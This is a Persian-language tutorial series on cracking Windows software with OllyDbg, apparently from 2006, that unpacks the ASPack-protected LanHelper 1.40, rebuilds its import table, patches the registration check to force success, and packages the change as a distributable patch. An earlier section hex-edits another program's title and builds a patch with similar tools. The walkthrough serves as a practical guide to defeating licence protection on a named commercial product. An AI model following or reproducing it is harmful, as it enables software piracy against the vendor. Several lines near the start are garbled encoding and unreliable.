 را بـه    MOVخب اگر به نكته اي كه اخيراً به شما گفتم توجه كرده باشيد خواهيد فهميد كه ميتوان مقدار پارامتر دوم عملگـر                       

  : تغيير بدهيد يعني مانند زير4D63D4آدرس 
MOV EDI, 4D63D4 

  :مانند شكل زير

  
  12شكل 

  ميبينيد كه دستور )  توجه كنيد11به شكل ( تغيير اين خط خب با
JMP SHORT lc5modif.004BD590 

� در ��� �� �ن ا��ر� ��� ا�ً��  %�$ ��� ا� �� د#"!  �� 
 ا.5-ا �5/د   344BD576 �0 4BD58A ��2 ا1- 0/.� �-د� ���"� �� ای+ ��ر *� ��() ��� ا� �� �در�'�&    

�  0�5�EDI    �5* �5 ی= *>�ار& در ;��ت 4BD584رس و در67+ در ای+ �"+ در �د      ;  >� .�یA@ی+ *"?/د دروا
    B"اه/D"* �EF� درtitle   B"5ن ده�?F-ر���-د� و �� �4/د را در �ن ذ4"-�  -HF را     . */رد JK?5* +5�5 ایKL5-ا& ای�

  : ر�OP و دا�J �!"= �-د� و �� زی- را .�یA@ی+ �� ا J24BD576B"LK"*  !M�B"L �- رو& �درس 
JMP SHORT 4BD590 
ا*�Kن دارد �درس %-ش �� �درس %-ش ��5SO* �6وت ����5 ��5ی+ R�54- ��5ی+ 5M/رت �"�5ن *"BL5K ��5 �درس �<�5                     

 U��0 ا.-ا ��نGetModuleFileNameA-زی JK� �LF�* �"L� ش-% :  

  
  13شكل 

  : دنبال كرده تا پيغام زير را مشاهده كنيد F9 حال برنامه را 

  
  14شكل 

 مـورد نظـر   title را تغيير دهـيم ولـي اينكـار يـك اشـكال كوچـك دارد و آنهـم اينكـه              titleق شديم   خب ميبينيد كه ما موف    
 ollydbgچيزديگريست براي رفع اين مشكل برنامه را كه تا اينجا تغيير داده ايم به همان روشي كه قبلاً گفتم ذخيره كـرده و        

  .را ميبنديم
 وقتي برنامـه مـا در   كرده بازدر آن  تغييرات آخر را بر روي انجام داده ايم         اي را كه     را باز كرده و برنامه     hexworkshopحال  

hexworkshop باز شد دكمه ctrl+fرا زده تا دايلوگ جستجو باز شده و مانند شكل  زير عمل كنيد :  
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  15شكل 

 كـه بـه تعـداد كاراكترهـايي كـه           خب حال شما دقيقاً درجايي قرار داريد كه متن را بايد تغيير دهيم فقط به اين نكته توجه كنيد                  
  موجود ميباشد ميتوانيد كلمات را تغيير دهيد 

  
  16شكل 

  . كنيدsaveرا انتخاب كرده وفايل را save گزينه fileاز منوي . خب حال كه تمام تغييرات اعمال شد
  

  :patchساخت 
   .patch تمام شد حال فقط يك موضوع باقيست ساخت internal keygenكار ساخت 

   بسازيم؟ patchا بايد چر
 به اين دليل ميباشد  كه، چون حجم فايلي كه ما تغييرات را در آن اعمال ميكنيم امكان دارد زياد                     patchيكي از دلايل ساخت     

 مگابايت ميباشد و انتقال اين حجم فايل با مشكل روبرو هست به همين دليل ميتـوان                 3 در حدود    LC5.exeباشد براي مثال    
  . كيلوبايت دارد همان كار را انجام داد30 كه شايد حجمي در حدود patch يك از طريق ساخت

  . ناآشنا بودن كاربران معمولي با مباحث مهندسي معكوس و كركينگ ميباشدpatchيكي ديگر از دلايل ساخت 
ه هـاي آمـاده بـراي     جديد و يا اسـتفاده از برنام ـ patch از دو طريق ميتوان عمل كرد برنامه نويسي يك      patchبراي ساخت   

خب قدم به قدم كارهـاي زيـر را انجـام    . استفاده ميكنم2.12 نسخه  Diablo 2oo2 من در اينجا از برنامه patchساخت 
  : را انتخاب كرده و محتويات آنرا مانند شكل زير پر كنيد new project را اجرا كرده گزينه Diabloميدهيم برنامه 



 ٢٤

  
  17شكل 

   را انتخاب كنيدoffset patch را زده گزينه add را انتخاب كرده در صفحه اصلي برنامه دكمه saveو بعد از آن گزينه 
  

  
  18شكل 

  : اضافه ميشود برروي آن دابل كليك كنيد offset patchدر صفحه اصلي گزينه اي بنام 
   آدرس فايل اصلي دست نخورده را بدهيدtarget fileدايلوگي جديد باز شده در قسمت 

  :compare filesسمت در ق
   دوباره آدرس فايل اصلي را بدهيدoriginal fileدر قسمت 
  . آدرس فايلي را كه تمامي تغييرات را در آن اعمال كرده ايدpatched fileدر قسمت 

  : كليك كرده مانند شكل زيرcompare بعد بر روي دكمه 
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  19شكل 

  
 سـاخته  patchرا زده از شما يك مـسير بـراي ذخيـره    create patch را زده و در صفحه اصلي هم دكمه saveحال دكمه 

  .شده ميخواهد مسير را بدهيد
  پايان
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  سوم قسمت ollydbgآموزش كركينگ با 

 April 2006 1385فروردين : تاريخ 

  serial protection ,unpacking Aspack 2.12نوع حمله 
   ه شدهم ضميLan helper 1.40 : نرم افزار هدف 

 , DUP 2.0,PEid 0.93 ollydbg 1.10 (hidedebugger ,ollydump) plugin :استفاده مورد افزارهاي نرم
,ImpRec 1.6   

  ) كامپيوتر استفاده شده است ممكن است بعضي از آدرسها فرق كند2در اين مثال از (متوسط : سطح 

  
  

  .خب اول نرم افزار رو نصب ميكنيم
ي كه بايد بكنيم اين هست كه اول بفهميم برنامه رو با چي نوشتن و با چي پك شده براي اينكار                     بعد از نصب هميشه اولين كار     

  . استفاده كردمPEid استفاده كنيد من اينجا از RDG Packer Detector و يا PEidنيد از نرم افزارهايي مانند اميتو
  براي تست فايل استفاده كنيد ) open...(ا از دكمه  رو بندازيد توش و يLanhelper.exe رو باز كرده و فايل PEidبرنامه 

  
  1شكل 

  
  . شده ميباشد و ما ميخواهيم برروي آن كار كنيمpackخب اين اولين برنامه اي هست كه بصورت 

  :هاpackerكمي در رابطه با 
   شده است يعني چه؟packمنظور از اينكه فايل اجرايي 

 آشنايي داشته باشيد ميدانيد كه اين نرم افزارهـا فايلهـا را بوسـيله الگـوريتم              winzip  و يا  winrarاگر با نرم افزارهايي مانند      
در واقع در فايلهاي اجرايي هـم ايـن روش        . كردن ميگويند  packروش     اين  به  خاص خودشان بصورت فشرده درمي آورند كه        

  :مرسوم هست البته به دو دليل
 )فشرده كردن(كم كردن حجم فايل اجرايي .1

 ).كرك كردن(ن و يا غيرممكن كردن دستكاري فايل اجرايي توسط روشهاي مهندسي معكوسسخت كرد .2
  

در واقـع چگونـه     ( شده درآمـد چگونـه اجـرا ميـشود           packخب حال اين سوال پيش مي آيد كه حال كه فايل اجرايي بصورت              
unpackشده و اجرا ميشود .(  

يپردازم همانگونه كه اين نرم افزارها خود فايلها را فـشرده ميكننـد خـود               م winrarباز به ذكر مثال درمورد نرم افزارهايي مانند         
  . ميكنندunpackهمان نرم افزارها الگوريتم هايي را بابت باز كردن فايلها دراختيار دارند و آن فايلها را 
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كـه  ) Aspackايـن مثـال     در  (اين موضوع در رابطه با فايلهاي اجرايي هم صدق ميكند با اين تفاوت كه نرم افزار مـورد نظـر                     
در واقع اينگونه نرم افزارها خود را بـه        .  كردن برعهده اوست در خود فايل اجرايي قرار ميگيرد         unpack كردن و    packوظيفه  

در ايـن مثـال      (packerفايل اجرايي اصلي تزريق كرده و هنگـامي كـه شـما فايـل موردنظرتـان را اجـرا ميكنيـد اول فايـل                         
Aspack (  بعد به نقظه اي ديگر در فايل اجرايي پرش كرده كه آن نقطه ، نقظه آغاز برنامه اصلي ما ميباشد كـه             اجرا ميشود و 

و برنامه اصلي را به حافظه بارگذاري ميكند و آنـرا اجـرا   .  ميگويندOEP(Original Entry Point)اصطلاحاً به آن نقطه 
  .ميكند

  . ميگويندSTUBرعهده اوست و در فايل اجرايي تزريق شده است  كردن بunpack كردن و packبه نرم افزاري كه وظيفه 
اينست كه منتظر بمانيم تا فايل در حافظه لـود          ) البته بصورت دستي  ( ها انجام بدهيم     packerكاري كه ما بايد در مورد تمامي        
فايل اجرايي لـود شـده    كرده و   آنرا را پيداOEP شده درآمد و در حافظه قرار گرفت ما packشود و بعد از آنكه فايل از حالت      

  . ميگويندdumpingكه اصطلاحاً به اين عمل .  را برروي هاردديسك خود منتقل كنيمدر حافظه
  . شده بود را پيدا كرده و روي هاردديسك كپي كنيمpackخب بنظر ميرسد كه كار تمام است ما توانستيم فايل اجرايي كه 

 ميباشـد  sectionفايل اجرايي داراي چندين .  فايل اجرايي قابل اجرا  نميباشد  OEP كه ما پيدا كرده ايم OEPولي درواقع 
 مـا  dumpingبعـد از عمـل   . نام داردIAT(Import Address Table)هاي فايل اجرايي sectionيكي از مهمترين 

  .بايد اين جدول را ترميم كنيم
  

   چيست؟IATكار 
 ـ  را ميدهـد  API(Application Programming Language)ه توابـع  اين جدول به برنامه اجرايي  اجازه دسترسي ب

ولي برنامـه اجرايـي ميتوانـد از آن    .  ميباشد كه خارج از برنامه اجرايي  بودهAPI يك تابع  Messageboxبراي نمونه تابع 
  .براي نشان دادن پيغامهاي خود استفاده كند

تفاده كند سيستم عامل ويندوز فايل كتابخانه اي مورد نظر كـه حـاوي               اس APIهنگامي كه برنامه اجرايي ميخواهد از يك تابع         
  . برنامه مربوطه ميدهدIATآن تابع ميباشد را در حافظه لود ميكند و آدرس آن تابع را به 

  

  
  2شكل 

  
  

 روز ديگر به اتمام 30براي شروع كار برنامه را اجرا ميكنيم بعد از چند لحظه دايلوگي ظاهر ميشود و به ما هشدار ميدهد كه فقط 
  : را انتخاب كرده registerبرنامه مانده است در دايلوگ مورد نظر گزينه 

  
  3شكل 

  :در دايلوگ ظاهر شده يك نام و يك شماره وارد ميكنيم با پيغام خطايي مانند زير مواجه ميشويم
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  4شكل 

  )!مانند دو مثال قبل (messageboxخب دوباره يك پيغام و يك 
  . را يادداشت كرده و برنامه را ببنديدپيغام خطا

  
Unpacking:  
Unpacking         اغلب شركتهاي نرم افزاري به اين دليل برنامه خـود را           . يكي از وقتگير ترين كارها در مهندسي معكوس ميباشد

packميكنند كه كاربران معمولي و متوسط كامپيوتر نتوانند برنامه هاي آنها را تغيير دهند .  
 استفاده ميكنند اينكار بدين دليـل انجـام         debugger از متدهايي براي يافتن نرم افزارهاي        packingامه هاي   بسياري از برن  

 نوشته شده است مـن در ايـن   pulg-in چندين ollydbgميشود كه كاربر نتواند برنامه مورد نظر را تغيير دهد براي اينكار در     
  كـه  را نصب كـرده ايـد كپـي كنيـد    ollydbg را در دايركتوري كه     plug-inاين  . استفاده ميكنم  hidedebuggerمثال از   

  . نشودollydbg متوجه وجود Aspackهنگامي كه بر روي برنامه كار ميكنيم  
  : باز كنيدollydbg را در lanhelper.exeخب فايل 

  : با دو پيغام مواجه ميشويمollydbgخب در بدو ورود به 
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  . ميباشدpackerوجود اين دوپيغام بدليل 
   فايل را بازكندollydbg را انتخاب كرده تا yesگزينه 
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  . قرار خواهيد گرفت553001همانند شكل بالا شما در آدرس 

اجراي برنامه بدين صورت باعـث ميـشود   .  استفاده كنيدstep into البته ميتوانيد از ( اجرا كنيد F7خب برنامه را با كليد 
ه هر زير برنامه اي كه ميرسد به داخل آن را رفته و آنرا اجرا كند و كاربر را در جريان اجرا قرار دهـد بـراي فهميـدن         كه برنامه ب  

  ).بيشتر به ادامه آموزش توجه كنيد
  : به پنجره ثباتها توجه كنيدF7 از زدن كليد حال بعد
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  8شكل 

  . بيت باشند64 بيت و يا 32 بيت ، 16 بيت ، 8  بوده و بسته به نوع پردازنده ميتوانندCPUثباتها قسمتي از 
  )فهميدن طرز كار ثباتها و كاربرد آنها جزوي از كار يك كركر ميباشد(

ثباتها جايي هستند كه برنامه ميتواند مقادير خود را در آن نگه داشته و بدون نياز به حافظه اضافه محاسبات خود را در آن انجـام           
شتر باشد مقادير بيشتري را در خود جاي داده و محاسبات پيچيده تري را انجام ميدهـد بـه همـين                  دهد هرچه اندازه اين ثبات بي     

  . بيتي رو به افزايش است64دليل امروزه پردازنده هاي 
  

اين ثباتها بيشتر بـراي محاسـبات       .  را داريم  EAX,EBX,ECX,EDX ثبات عمومي به نامهاي      4 بيت ما    32در يك پردازنده    
  :ثباتهاي ديگري مانند .كار برده ميشوددر برنامه ها ب

Index Register , Pointer Register   در پردازنده موجـود ميباشـد  :ESI,EDI,EBP,EIP,ESP   نـام ايـن 
  .ثباتها ميباشد

 ـ (اين ثباتها كارهاي مختلفي انجام ميدهند اما اكثر كار آنها در مورد اجراي برنامه اي هست كه  در حال اجراست        ت ادر واقـع ثب
EIP شماره خط برنامه اي كه بايد اجرا شود را نگهداري ميكند  .(  
ESP ثبات ( نگه دارنده آدرس بالايي پشته ميباشدESP مخفف Stack Pointer ميباشد E  بيت بودن اين 32 مربوط به 

  )ثبات هست
  :براي اطلاعات بيشتر در مورد ثباتها ميتوانيد به آدرسهاي زير مراجعه كنيد

http://www.mujweb.cz/www/komsbomb/article/x86reg.htm 
http://www.swansontec.com/sregisters.html  

  
توجه كنيد آدرس پشته شما با آدرس پـشته اي  : (و بعد از آن به پنجره پشته نگاه كنيد خب حال نگاهي به پينجره ثبات بياندازيد        

  )كه هم اكنون ميبينيد فرق ميكند

  
  9شكل 

 در اول قرار گرفتـه  EDIميبينيد كه تمامي مقادير ثباتها در پشته قرار گرفته است ولي بصورت كاملاً برعكس يعني مقدار ثبات                
  . كه چند لحظه پيش اجرا شد انجام ميگيردPUSHADاين كار بوسيله تابع .آخر قرار گرفته است در EAXاست و مقدار ثبات 

اين تابع هنگامي بكار برده ميشود كه برنامـه  .كاري كه تابع انجام ميدهد اينست كه تمامي مقادير ثباتها را در پشته ذخيره ميكند              
مقادير اوليـه ذخيـره شـده و بـه هنگـام نيـاز       . داري مقادير قبلي نداردبخواهد مقادير ثباتها را دستكاري كند ولي جايي براي نگه   

بوسيله اين تابع تمامي مقادير اوليـه  .ها ميباشدPacker يك تابع قدرتمند و مفيد براي تمامي PSUHADتابع .بازيابي ميشود 
دوباره مقاديري كـه در پـشته ذخيـره     اجرا ميشود و برنامه اصلي در حافظه لود ميشود و  STUBثباتها در پشته قرار گرفته بعد 

  ! ي وجود نداشته استpackerشده بودند به ثباتها برگردانده ميشوند بدين معنا كه اصلاً 
 به ثباتهاي خود برگردانده ميشود چرا كـه   ،كاري كه ما ميخواهيم انجام دهيم اينست كه ببينيم كجا مقادير ذخيره شده در پشته              

  . را پيدا كرده ايمOEPن مهم دست بيابيم همانطور كه در بالا توضيح داده شد ما هنگامي كه ما بتوانيم به اي
  . نام داردPOPADتابعي كه تمامي مقادير ذخيره شده در پشته را به همان ثباتهاي خود بازميگرداند 

http://www.mujweb.cz/www/komsbomb/article/x86reg.htm
http://www.mujweb.cz/www/komsbomb/article/x86reg.htm
http://www.swansontec.com/sregisters.html
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 EAXيشود مثـال اگـر ثبـات        اين را هم بايد بدانيم مقادير ثباتهايي كه در پشته قرار گرفته اند بصورت معكوس از پشته خارج م                  
  اولـين   EDI ثبات ،در برگرداندن  اين مقادير.  آخرين ثباتEDIاولين ثباتي هست كه مقادرش در پشته قرار ميگيرد و ثبات 

  ).  توجه كنيد9براي روشنتر شدن مطلب به شكل ( آخرينEAXبرگشتي است و ثبات 
 اين هم به اين دليل ميباشد كه تمـامي    خواهيم داشت  سروكار   ESPثبات  خب همانطور كه در بالا گفته شد ما در اين برنامه با             

  .مقادير ثباتها در پشته ذخيره ميشود پس ما بايد با ثباتي كار كنيم كه رابطه مستقيم با پشته و كنترل آن دارد
 و از منـوي بـاز        نوشته شده است دكمه راست موس را زده        ESP از پنجره ثبات بر روي مقداري كه جلوي          ollydbgحال در   

 :شده مانند شكل زير گزينه 
Follow in Dump 

  :را انتخاب ميكنيم

  
  10شكل 

  : كه در پايين صفحه قرار گرفته است توجه كنيدdumpحال به پنجره 

  
  11شكل 

 < - Hexدر اين پنجره براي راحتي كار بر روي پنجره دكمـه سـمت راسـت مـوس را زده و از منـوي ظـاهر شـده گزينـه         

Hex/ASCII(8 bytes)را انتخاب كنيد :  



 ٣١

  
  12شكل 

  
  

توجـه كنيـد   ( كنيـد  highlight بايت اول را     4 را انتخاب كرده و      12FFA4 مانند شكل زير آدرس      dumpحال در پنجره    
  ) قرار داردESPآدرس مزبور همان مقداري ميباشد كه در 

  : كرديد دكمه سمت راست را زده و گزينهhighlightحال كه 
 

Breakpoint -> Hardware on access -> Dword 
  :را انتخاب كنيد

 
  13شكل 

  
  

  )آدرس بالاي پشته ميباشد (12FFA4آدرس 
يعنـي اولـين ثبـاتي     (EDI در آنجا ميخواهيم هنگامي كه مقدار Breakpointما با انتخاب چهار بايت اول پشته و قرار دادن      

  .برگشت داه ميشود ما مطلع شويم) كه مقدارش برميگردد
 Word بايت را انتخاب ميكرديم بايـد        2 بايت را انتخاب كرديم اگر       4 را انتخاب كرده ايم اين بود كه ما          Dwordدليل اينكه   

  .را انتخاب ميكرديم



 ٣٢

  . اجرا كنيدF9خب حالا برنامه را با 
 دسـتور   5533B0آدرس   برنامه متوقف ميشود كمي نوار پيمايش را بالا ببريد ميبنيد كـه دقيقـاً قبـل از                   5533B0در آدرس   

POPAD             اما هنوز   .  وجود دارد خب ما در بهترين جايي كه ممكن بود متوقف شده ايمOEP    را پيدا نكـرديم Packer  بايـد 
  . برگرددOEP خود را به اتمام برساند تا به decryptعمليات 

  

  
  14شكل 

  
  15شكل 

 مقداري در پـشته قـرار ميگيـرد ايـن مقـدار ،      5533BAدرس  را فشار دهيدميبيند كه در آF7براي پيگيري برنامه دوبار كليد    
 اجرا شود بعد از RETN يعني دستور 5533BF را زده تا آدرس   F7يكبار ديگر   . هست كه در پشته قرار ميگيرد      OEPمقدار  

  . قرار داريمOEPاجراي اين دستور ما در 
  :مانند شكل زير

  
  16شكل 

 را فشار دهيد و يا مانند شـكل زيـر دكمـه سـمت راسـت مـوس را زده و گزينـه        ctrl + aخب حال در اين نقطه كليد تركيبي 
analyse codeرا انتخاب كنيد .  

  



 ٣٣

  
  17شكل 

  
  

  : كد برنامه را بصورت زير نشان خواهد دادollydbgبعد از آناليز كد 

  
  18شكل 

 استفاده كرده   ollydumperم   بنا plug-in ميباشد من در اينجا از       Dumping را پيدا كرديم وقت      OEPخب حال كه ما     
  :ام

  :را انتخاب كنيد dumped debug process   بصورت شكل زير منويpluginاز منوي 

  
  19شكل 

  :دايلوگي مانند شكل زير خواهيد ديد



 ٣٤

  
  20شكل 

  
  . حتماً عمل كنيد20  بوده توجه كنيد مانند شكلOEP مقدار 10F0E4خب مقدار 

 كـرده ايـم انتخـاب    dumpه از شما ميخواهد كه نامي براي برنامه اي كه تا اينجـا   كليك كردdumpخب حال برروي دكمه  
 نصب شده است ذخيره lanhelper گذاشته و آنرا در فولدري كه  lanhelper_dump.exeكنيد و آنرا ذخيره كنيد نام آنرا        

  .كنيد
 شده ما يك مشكل دارد و dumpنيم ولي برنامه  شده درآورده و توانسته ايم آنرا ذخيره ك   packخب حال ما برنامه را از حالت        

  .آن ايست كه اجرا نميشود
 براي شما توضيح دادم اين جدول هنگامي IATهاي برنامه هاي اجرايي بنام     sectionاگر بخاطر داشته باشيد درمورد يكي از        

  .آنرا ضميمه فايل اجرايي خود كنيم نميشود و در واقع خود ما بايد اين جدول را بسازيم و dump ميكنيم dumpكه برنامه را 
  

  :IATترميم و ساخت مجد 
  

 شده مـا    dump ما به يك نرم افزاري احتياج داريم كه اين جدول را از فايل اصلي خوانده و در فايل                    IATبراي ساخت مجدد    
  . استفاده خواهيم كرد ImpREC ما در اينجا از .قرار دهد

 را اجـرا كنيـد و ماننـد شـكل زيـر      ImpRECرا اجرا كنيد و بعد از آن نر افزار     اصلي   lanhelperخب براي شروع كار فايل      
Lanhelperرا انتخاب كنيد :  



 ٣٥

  
  21شكل 

ImpREC براي اينكه بتواند آدرس IAT را بدست آورد احتياج به دانستن آدرس OEP       دارد اگـر از قـسمت قبـل بـه يـاد 
 مربـوط بـه   textbox حـال ايـن آدرس را در   ،10F0E4: وديم   يك آدرس را يادداشت كرده ب      ollydumpداشته باشيد در    

OEP0010 : بدين صورت وارد كنيدF0E4  
 را فشار دهيد يك IAT AutoSearch دكمه OEPتوجه كنيد حتماً به هيمن صورت باشد بعد از وارد كردن آدرس درست 

  :پيغام بصورا زير ظاهر خواهد شد

  
  22شكل 

  : بصورت زير خواهد شدImpRECهيد  را فشار دGet Importsحال دكمه 



 ٣٦

  
  23شكل 

 در آخـر خـط   Imported Functions Found بعضي از توابع را بصورت درهم ريخته ذخيره كند در پنجره packerاگر 
 براي اينكه مطئمن شويم تمام توابع شناسايي شده اند بـرروي  Found : No مينويسد Found : Yesبجاي اينكه بنويسد 

  . كليك كنيد ميبينيد كه هيچ اتفاقي نيفتاد يعني اينكه تمامي توابع پيدا شده اندShow Invalidدكمه 
  

 را دابل كليـك كنيـد   lanhelper_dump.exe كليك كنيد حال در دايلوگ باز شده فايل Fix Dumpحال برروي دكمه 
  . آن ترميم شودIATتا 

ImpREC يك فايل جديد با نام lanhelper_dump_.exeميسازد .  
 ساخته است دابل كليك كنيد كه ببينيم آيـا توانـسته   ImpREC اصلي را بسته و فايلي كه   lanhelper و   ImpRECخب  

   كنيم يا نه؟unpackايم برنامه را 
  .خب برنامه كار ميكند حال فقط يك مشكل باقيست و آنهم اينكه برنامه رجيستر نشده است

  
Patching برنامه dumpشده :  

  
 را اجـرا    lanhelper_dump_.exe  كنـيم ابتـدا برنامـه      patch شـده را     dumpنيم شماره سريال برنامـه      براي اينكه بتوا  

  .ميكنيم
  . را انتخاب ميكنيمAttach گزينه Fileاز منوي .  را اجرا ميكنيمollydbgحال 

 فـايلي كـه بـصورت       كه،    را نشان دهم به اين دليل      ollydbg در   attachدر اينجا ميخواهم به شما طريقه استفاده از ويژگي          
dump   بصورت مستقيم در     د شده ميباشد نميتوان ollydbg       باز شود چراكه باعث ميشود ollydbg   در يك حلقه بي انتها گير 

  . شما مجبور شويد كامپيوتر خود را ريستارت كنيد شايدكند و
  : را از ليست انتخاب كنيدlanhelper_dump_.exeحال مانند شكل زير فايل 



 ٣٧

  
  42شكل 

  . را فشار دهيدAttachو دكمه 
  : توجه كنيدollydbg نرم افزار caption لود ميشود ولي به قسمت ollydbgبرنامه درون 

  
  25شكل 

 گزينـه  view هـستيد بـراي اينكـه بـه فايـل مـوردنظر خودمـان برگـرديم از منـوي          ntdll.dllدر واقع شـما الان در فايـل        
executable modules را انتخاب كرده  

 



 ٣٨

  
  26شكل 

 follow دكمه سمت راست موس را زده و مانند شكل زير گزينه _lanhelper_dumpدر پنجره پديدار شده برروي گزينه 

entry pointرا انتخاب كنيد .  
  

  
  27شكل 

  
  . پنجره كد مربوط به برنامه موردنظر ما را نشان ميدهدollydbgخب حال 

 The registration code you haveغـام خطـا داشـتيم بـا ايـن عنـوان       همانطور كه از قبل به خاطر داريد ما يـك پي 

entered is not correct اين پيغام دردرون يك messagebox   نشان داده ميشود اگر از مطالب قبلي به خـاطر داشـته 
 بعـد از آن   وsearch for دكمه سمت راست موس را زده از منوي پديدار شده گزينـه  ollydbgباشيد بر روي پنجره كد در 



 ٣٩

 را تايپ كرده تا بر روي يكـي  messagebox را انتخاب ميكنيم در پنجره پديدار شده all intermodullar callsگزينه 
 set BreakPoint in every call to بايستيم بر روي آن دكمه سمت راست را زده و گزينـه  messageboxاز توابع 

Messageboxرا انتخاب ميكنيم .  
  

  
  28شكل 

 و گزينـه  Help ادامه داده و ميرويم كه برنامه را رجيستر كنيم بـراي اينكـار در برنامـه اصـلي بـه منـوي              F9ل برنامه را با     حا
About رفته در پنجره پديدار شده enter registration code     را انتخاب كنيد يك نام و يـك شـماره بنويـسيد و دكمـه 

ok  را كليك كنيد هنگامي كه بر روي دكمه ok4ليك ميكنيد برنامه در آدرس كDBBCC     توقـف ميكنـد اينجـا همانجـايي 
  :هست كه هنگامي كه كد اشتباه وارد ميكنيم وارد آن ميشويم به شكل زير توجه كنيد

  
  29شكل 

 را فشار دهيد تا كـد  ctrl+aخب حال كمي نوارپيمايش را بالاتر ببيريد متوجه چيز مشكوكي نخواهيد شد حال دوباره كليدهاي              
  : وجود دارد مانند شكل زيرentry point يك 4DBB8Cناليز شود ميبينيد كه در آدرس آ

  
  30شكل 

 جايي هست كه كد چك ميشود و درصورت غلط بودن ما به اين نقطه خواهيم آمد از كجا متوجه شديم كه entry pointاين 
   هست؟entry pointاين يك 

  . وجود دارد به همين سادگي< يك علامت entry pointبا كمي توجه ميفهميم كه در كنار هر 



 ٤٠

 دكمه سمت راست مـوس را زده از گزينـه   4DBB8C در آدرس بالاتر بگرديم حال بر روي آدرس          يخب ما بايد به دنبال كد     
goto آخرين گزينه يعني JE from 004DB6CEرا انتخاب كنيد .  

  

  
  31شكل 

  
  . هستيم4DB6CEخب حال ما در آدرس 

 قرار دارد اين يعني اينكه در اينجا مقداري كه TEST AL,AL دستور JEا بالاتر ببريد دقيقاً در بالاي كد كمي نوارپيماش ر
 وجـود  call يك دستور 4DB6C7ما داده ايم  چك ميشود و درصورت درست بودن تصميم مورد نظر گرفته ميشود در آدرس       

 TEST AL,AL يعنـي  4DB6CCو جواب را بـه آدرس  دارد اين دستور يعني همان تابعي كه مقدار ورودي را چك كرده 
  .منتقل ميكند

  

  
  32شكل 

 جعبه پيغام خطا را بسته lanhelperحال در برنامه .  را  F9   را بزنيد و بعد كليد F2 كليد 4DB6C7خب حال در آدرس 
  .ند متوقف ك4DB6C7 ما  را در خط ollydbgو دوباره يك اسم كاربر و پسورد غلط وارد نماييد تا 

 خواهيم رفت يعني تابع چك 4C4BFC به آدرس F7 پيگيري كنيد با زدن يكبار F7حال در نقطه توقف برنامه را با كليد 
  .كردن اسم كاربر و شماره سريال او

م  به انتها كد خواهيALخب حال كه ما وارد كد تابع كنترل كننده شده ايم بجاي آنكه تمام كد تابع را بگرديم به دنبال مقدار 
 و يا زدن ctrl+F9بوسيله )  يا صفر است و يا يكALاينكار به اين دليل انجام ميشود كه ما از قبل ميدانيم كه مقادار (رفت 

  . به انتهاي تابع خواهيم رفتدكمه 



 ٤١

  
  33شكل 

  .را كند ميرسد اجRETN فرمان ميدهيم كه كد تابع را تا جايي كه به دستور ollydbg به (ctrl+F9)بوسيله اين دكمه 
 ما را در آن متوقف ميكند نگاهي به پنجره پشته ollydbg رسيديم يعني همان آدرسي كه 4C5112هنگامي كه به آدرس 

  .بياندازيد

  
  34شكل 

  : هدايت خواهد كرد حال به اين آدرس مزيور نگاه بياندازيد4C511A ما را به آدرس RETNاين يعني اينكه دستور 

  
  35شكل 

 قرار ميگيرد براي اينكه ببينيد اين مقدار AL درون Byte PTR SS:[EBP-9]نطور كه ميبينيد مقدار در اين آدرس هما
 را انتخاب كنيد در Follow in Dump دكمه سمت راست را زده و گزينه EBPچيست در پنجره ثباتها بر روي مقدار 

 حاوي ALاين به اين معنا ميباشد كه .  است00 بايت به عقب برگشته مقداري كه در آنجا ذخيره شده است Dump 9پنجره 
  .مقدار صفر خواهد شد

 باشد تا برنامه بصورت رجيستر شده دربيايد براي اينكار بر روي آدرس 1 بايد حاوي مقدار ALحال از قبل ميدانيم كه 
4C511Aستون سوم دابل كليك كنيد و مقدار دستور مورد نظر به اين دستور تغيير دهيد :  

MOV AL,1 
  :انند شكل زيرم

  
  36شكل 

  
  37شكل 
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  . را فشار دهيد تا برنامه اجرا شودF9 كليك كنيد دكمه assembleخب حال بر روي دكمه 
 All گزينه  copy executable شده بر روي پنجره كد دكمه سمت راست را بزنيد از گزينه patchبراي ذخيره برنامه 

modification و بعد از آن دكمه copy all و در پنجره جديدي كه باز ميشود دوباره دكمه سمت راست را زده و گزينه 
save file را انتخاب كنيد فايل را با نام Lanhelper_dump_p.exeذخيره كنيد .  

 شده را اجرا كنيد و يك نام و شماره patch را بسته و فايل ollydbgحال براي اينكه مطمئن شويم برنامه كار ميكند 
غلط وارد كنيد برنامه از شما ميخواهد برنامه را بسته و دوباره باز كنيد هنگامي كه اينكار را ميكنيد ديگر پيغامي مبني بر بصورت 

  .اينكه شما چند روز ديگر فرصت نداريد نخواهيد ديد اين برنامه بصورت كامل كرك شد

  
  38شكل 
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  :patchساخت 
  

  . استفاده ميكنمdup 2لي به خاطر داريد من در اين مقالات از نرم افزار همانطور از مقالات قب
  . درآمده هست را به شما ياد بدهمpack را از روي فايل اصلي كه بصورت patchدر اينجا ميخواهم نحوه ساخت يك 

پديدار شده اطلاعات  كليك كرده در پنجره new project را اجرا كرده و بر روي دكمه dup 2 برنامه patchبراي ساخت 
  :را مانند شكل زير كامل كنيد

  
  39شكل 

  
  . كليك كنيدsaveو بعد از آن بر روي دكمه 

   را انتخاب كنيدoffset patch كليك كرده از منوي پديدار شده گزينه Add بر روي دكمه dupحال دوباره در پنجره اصلي 

  
  40شكل 

 بر روي آن دابل كليك كنيد تا يك Offset Patchاضافه ميشود بنام  يك گزينه در پنجره اصلي okبعد از زدن دكمه 
  .صفحه مانند زير پديدار شود
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  41شكل 

 شـده را  patch نـشده و فايـل   patch بايد آدرس فايـل  compare filesاگر از آموزش قبل به خاطر داشته باشيد در پانل 
  .لت چند كار اضافي ديگر بايد انجام دهيم مخصوص را بسازد ولي در اين حاpatch بتواند dupبدهيم تا 

 شده و نه unpack كه نه lanhelper.exe را انتخاب كرده و فايل اصلي  Open گزينه target fileاز پانل  -1
patchشده است را انتخاب كنيد .  

  علامت خورده باشدCRC checkedگزينه  -2

 )شده است packچون فايل اصلي ( انتخاب شده باشدvirtual addressگزينه  -3

 نـشده بـود   patch كـرده بـوديم ولـي    dump فايلي كه قبلاً original file در فيلد compare fileدر پانل  -4
 انتخاب شود

  شده بود انتخاب گرددpatch شده بود و dump فايلي كه patched file در فيلد compare fileدر پانل  -5

 . را فشار دهيد compareدكمه  -6
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  42شكل 

   ساخته شده را ذخيره كنيدpatch كليك كنيد و saveه حال برروي دكم
 شما ذخيره گردد را patch كليك كنيد از شما آدرس جايي را كه ميخواهيد create patchدر صفحه اصلي برروي دكمه 

  .ميخواهد آنرا مشخص كنيد
  پايان
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   قسمت چهارمollydbgآموزش كركينگ با 

 April 2006 1385ارديبهشت  : تاريخ 

